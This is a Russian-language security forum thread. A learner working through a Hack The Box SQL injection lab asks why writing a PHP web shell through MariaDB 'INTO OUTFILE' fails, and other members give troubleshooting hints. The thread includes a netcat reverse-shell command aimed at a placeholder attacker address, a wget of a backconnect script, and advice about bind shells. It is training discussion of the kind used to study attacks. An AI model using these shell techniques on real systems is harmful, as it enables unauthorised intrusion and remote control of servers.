Проблема Вопрос по SQLi MariaDB

Kaktus99

Member
28.01.2021
7
0
BIT
0
Всем привет! Изучаю ИБ, сейчас изучаю SQLi и столкнулся с такой проблемой:

Залогинился в веб морду через админа, попал на root@localhost c полными права (я так понимаю, FILE_PRIV=yes), задача у задания состоит в том, чтобы сделать RCE в root папке. Имея такие права пытаюсь загрузить шелл into outfile '/var/www/html/shell.php' , где мне выдает ошибку Can't create/write to file '/var/www/html/shell.php' (Errcode: 13 "Permission denied". Я так понимаю не достаточно прав на запись файлов.

3 день читаю и ищу инфу, совсем не доходят до меня. На сайте вытащил логин и пасс от админа но тоже не понятно к чему они, т.к ни через терминал ни через морду не логиниться с этими данными. В общем если ктото поможет буду благодарен.

Прямых способосов решения не надо, просто какие то подсказки наводки, что я не так делаю. Понимаю, что вопрос кому то покажется смешным, но мне как новичку не понятно. Благодарю :)
 

Вложения

  • Screenshot_1.png
    Screenshot_1.png
    8,1 КБ · Просмотры: 478
Последнее редактирование:

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Нужно понимать что ROOT пользователя БД и ROOT операционной системы это НЕ одно и тоже. Это два совершенно разных пользователя, поэтому имея полные права к СУБД, вы не имеете одновременно такие же права и в ОС.
Раз через БД шелл не можете залить, значит нужно сделать это из админ-панели. А вообще можно же и не заливать никакие файлы, а изменить существующие.
 
  • Нравится
Реакции: Shadow User

Kaktus99

Member
28.01.2021
7
0
BIT
0
Нужно понимать что ROOT пользователя БД и ROOT операционной системы это НЕ одно и тоже. Это два совершенно разных пользователя, поэтому имея полные права к СУБД, вы не имеете одновременно такие же права и в ОС.
Раз через БД шелл не можете залить, значит нужно сделать это из админ-панели. А вообще можно же и не заливать никакие файлы, а изменить существующие.
Я правильно понимаю, что я сейчас пользователь СУБД ROOT, и соответственно для того чтобы делать запись файлов в root директорию сервера нужно иметь соответствующие права на это (коих у меня нет).

Я так понимаю "изменить существующие файлы" = добавление текста в файл, к примеру index.php , а значит это = и созданию файлов, на что стоит запрет. Permission denied.

А можно ли посмотреть к каким директориям у меня есть право на запись файлов, через into outfile
 

Shadow User

Green Team
10.07.2017
138
29
BIT
0
Я правильно понимаю, что я сейчас пользователь СУБД ROOT, и соответственно для того чтобы делать запись файлов в root директорию сервера нужно иметь соответствующие права на это (коих у меня нет).

Я так понимаю "изменить существующие файлы" = добавление текста в файл, к примеру index.php , а значит это = и созданию файлов, на что стоит запрет. Permission denied.

А можно ли посмотреть к каким директориям у меня есть право на запись файлов, через into outfile
В /tmp точно есть.
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Я правильно понимаю, что я сейчас пользователь СУБД ROOT, и соответственно для того чтобы делать запись файлов в root директорию сервера нужно иметь соответствующие права на это (коих у меня нет).

Я так понимаю "изменить существующие файлы" = добавление текста в файл, к примеру index.php , а значит это = и созданию файлов, на что стоит запрет. Permission denied.

А можно ли посмотреть к каким директориям у меня есть право на запись файлов, через into outfile

Да, всё верно, у вас root только к СУБД. Изменить файлы именно так - откорректировать текст в php-файле, или создать новый php/шаблон/сниппет и т.п, словом всё что может быть доступно из админ-панели. Админки разумеются разные (CMS это или самописный сайт), и подходы могут быть разными.
Как выше заметили - в tmp вы файл конечно зальёте, но его ещё нужно оттуда переместить. Получится ли это сделать, это уже другой вопрос.

Посмотрите также на наличие других баз, ведь там она может быть не одна SHOW databases
 
  • Нравится
Реакции: Kaktus99

Kaktus99

Member
28.01.2021
7
0
BIT
0
Да, всё верно, у вас root только к СУБД. Изменить файлы именно так - откорректировать текст в php-файле, или создать новый php/шаблон/сниппет и т.п, словом всё что может быть доступно из админ-панели. Админки разумеются разные (CMS это или самописный сайт), и подходы могут быть разными.
Как выше заметили - в tmp вы файл конечно зальёте, но его ещё нужно оттуда переместить. Получится ли это сделать, это уже другой вопрос.

Посмотрите также на наличие других баз, ведь там она может быть не одна SHOW databases
Всего 5 БД, 3 системных mysql, information_schema, perfomance_schema.
в бекапе хранится admin_pass которые ни к субд ни через терминал не логинится. И последняя это с контентом
 

Вложения

  • 504840C3-7CFA-4832-A7B0-53A865B669D3.png
    504840C3-7CFA-4832-A7B0-53A865B669D3.png
    21,3 КБ · Просмотры: 166

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
в бекапе хранится admin_pass которые ни к субд ни через терминал не логинится. И последняя это с контентом

Ну раз есть креды, значит они откуда-то, логично? Возможно есть поддомены, или секретная страница, или phpmyadmin. В общем не мешает пофаззить ресурс.
 

Kaktus99

Member
28.01.2021
7
0
BIT
0
Ну раз есть креды, значит они откуда-то, логично? Возможно есть поддомены, или секретная страница, или phpmyadmin. В общем не мешает пофаззить ресурс.
Не смог я со своими знаниями что либо дальше делать, потому как прохожу курс SQLi от HTB и думал что можно взять флаг только полагая на те знания, что давали в модулях.

Недельку посерфил, порешал CTFы на htb , научился фаззить если это можно так назвать ресурс) Разобрал все ресурсы что есть на хосте, и удалось все таки добиться RCE. Хочу сейчас залить реверс шелл и столкнулся с такой проблемой, если загружать tcp_pty_backconnect.py со своей машины на хост через wget - ничего не происходит. Пробую другим способом через netcat (nc -e /bin/bash MY_IP PORT, так же нет коннекта с nc -nvlp 1234 на моей машине. Можете подсказать что я не так делаю?
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
По всей видимости вы пытаетесь получить коннект на динамический адрес. Для бэкконнекта нужен белый IP. Если его нет, просто VDS взять можно, ну и другой вариант эти Bind-shell создать, тогда можно коннектиться даже с любой виртуалки, не говоря уже об основной ОС.
 

Kaktus99

Member
28.01.2021
7
0
BIT
0
По всей видимости вы пытаетесь получить коннект на динамический адрес. Для бэкконнекта нужен белый IP. Если его нет, просто VDS взять можно, ну и другой вариант эти Bind-shell создать, тогда можно коннектиться даже с любой виртуалки, не говоря уже об основной ОС.
Спасибо. Щас буду гуглить )))

Попробовал прямиком в sql запросе вставить код бэкконекта tcp_pty_backconnect.py. Вот такая ошибка почему то в ответе, если убрать os.putenv("HISTFILE",'/dev/null') , то загружается нормально. Но не коннектится к моей машине.

UPD:
Ip Белый, на двух машинах проверил уже.
Screenshot_1.png
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
У вас смешались кони, люди. Похоже вы путаете php-шелл и бэкконект, вы уж что-нибудь одно делайте. У вас проблема с кавычками также присутствует.
 

Kaktus99

Member
28.01.2021
7
0
BIT
0
У вас смешались кони, люди. Похоже вы путаете php-шелл и бэкконект, вы уж что-нибудь одно делайте. У вас проблема с кавычками также присутствует.
Да я и так и так пытаюсь, ни черех пхп шелл коннекта нет, ни через бэкконект. За ковычки это вы ловко подметили) Просто в питоновском файле они были ' ', а он их не пропускал, заменил на " " он пропустил загрузку но все равно при вызове файла нет коннекта на мой хост через tcp_pty_shell_handler.py.

а вот через php-shell
 

Вложения

  • Screenshot_2.png
    Screenshot_2.png
    62,9 КБ · Просмотры: 155
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!